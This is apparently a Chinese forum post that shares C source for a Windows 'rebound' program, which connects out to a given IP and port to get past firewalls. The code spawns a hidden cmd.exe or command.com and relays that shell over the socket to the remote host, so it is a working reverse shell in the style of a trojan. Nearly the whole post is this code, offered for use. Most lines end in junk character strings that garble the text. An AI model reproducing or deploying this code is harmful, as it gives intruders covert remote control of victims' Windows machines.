这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 68c;Vb
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/* ============================== DXz8C -
Rebound port in Windows NT PbPP1G')
By wind,2006/7 ]= NYvv>H
===============================*/ Dq?HUb^X
#include +zdkdS,2<
#include +r$.v|6
/
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#pragma comment(lib,"wsock32.lib") 5lxq-E3
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void OutputShell(); I7PWOd
SOCKET sClient; 5tU"|10m3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5)zB/Ta<
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void main(int argc,char **argv) ?03Zy3/
{ 2jZ}VCzRG
WSADATA stWsaData; 48g^~{T4O
int nRet; JYr7;n'!
SOCKADDR_IN stSaiClient,stSaiServer; }AiS83B
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if(argc != 3) nh=Us^xD
{ arLl8G[
printf("Useage:\n\rRebound DestIP DestPort\n"); (<C%5xk
return; 6h_ k`z
} |<|,RI?
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WSAStartup(MAKEWORD(2,2),&stWsaData); NydW9r:T
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >1U@NK)HfY
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stSaiClient.sin_family = AF_INET; otVyuh
stSaiClient.sin_port = htons(0); G`#gV"PlC
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4_%FSW8-
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5SL>q`t.bd
{ pInWKj[y1
printf("Bind Socket Failed!\n"); ePRM v
return; {}o>nenx\
} -fx88
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stSaiServer.sin_family = AF_INET; D
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); aaugu.9
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I!7.fuO
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /e sk
{ *z"1MU
printf("Connect Error!"); h==GdS4
return; 8}oDRN!J
} f5GR#3-h(
OutputShell(); x0A%kp&w
} cNr][AzU@
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void OutputShell() {qWG^Db
{ ?SO F
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char szBuff[1024]; m=iov2K>
SECURITY_ATTRIBUTES stSecurityAttributes; P>T*:!s ;
OSVERSIONINFO stOsversionInfo; 06@0r
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; y]YS2^
STARTUPINFO stStartupInfo; wt.{Fqm
char *szShell; M}oj!xGB
PROCESS_INFORMATION stProcessInformation; c^Gwri4
unsigned long lBytesRead; ,q@(L
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ar
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D
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stSecurityAttributes.lpSecurityDescriptor = 0; mYjiiql~
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d)GkXll1D
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @oqi@&L'C
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y5Wqu9C\Io
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0"<;You
stStartupInfo.wShowWindow = SW_HIDE; %c&Ah
stStartupInfo.hStdInput = hReadPipe; )|h;J4V
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <,X+`m&
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GetVersionEx(&stOsversionInfo); YV3TxvXMR
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switch(stOsversionInfo.dwPlatformId) Z:Y.":[
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{ h
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case 1: &8_f'+i0
szShell = "command.com"; d+m6-4[_k
break; VVQ74b
default: Y\g90
szShell = "cmd.exe"; rI^~9Rz
break; aC8,Y$>?E`
} u};]LX\E
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !Ir1qt8T
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send(sClient,szMsg,77,0); (LT\
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while(1) ;vv!qBl|@
{ \,%o>M'
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); QVG0>,+}$
if(lBytesRead) ;c
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{ spU!t-n67
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J'\eS./w|
send(sClient,szBuff,lBytesRead,0); W#Hv~1
} vBnKu
else IQlw 914
{ 3dxnh,]&@
lBytesRead=recv(sClient,szBuff,1024,0); yrE,,N%I
if(lBytesRead<=0) break; w-'D*dOi
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _5U%'\5s
} 'e<HP Ni)
} D#/%*|
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return; {80oRD2=Q
}